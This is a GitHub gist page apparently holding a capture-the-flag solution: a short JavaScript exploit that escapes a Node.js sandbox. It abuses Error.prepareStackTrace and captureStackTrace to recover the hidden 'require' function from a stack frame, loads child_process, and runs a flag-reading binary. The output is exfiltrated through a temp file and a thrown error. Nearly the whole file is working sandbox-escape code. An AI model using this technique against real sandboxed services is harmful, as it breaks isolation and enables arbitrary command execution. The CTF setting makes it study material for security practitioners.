Last active
January 18, 2016 13:17
-
-
Save HoLyVieR/f19387f9531c627ec135 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var getStackframes = function x(a,b,c){function d(e,f){d=f}c=(b=Error)[a='prepareStackTrace'];b.captureStackTrace(b[a]=d,x);d.stack;b[a]=c;return d}; | |
var res = ""; | |
var i = 0; | |
var require; | |
// "require" is passed as an arguments to one of the function in the call stack. | |
getStackframes().forEach(function(frame) { | |
if (frame.getFunctionName() == null && i++ == 1) { | |
require = frame.fun.arguments[1]; | |
} | |
}); | |
var fs = require("fs"); | |
var sys = require("sys"); | |
var exec = require('child_process').exec | |
// First time, uncomment this line to place the output in a tmp file. | |
// "execSync" wasn't available and async produced "Timeout". | |
//exec("./read_flag > /tmp/thatfuckingflag", function (err, stdout, b) { throw new Error(stdout); }); | |
// Second time, read the file with the output flag. | |
//throw new Error(fs.readFileSync("/tmp/thatfuckingflag")); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment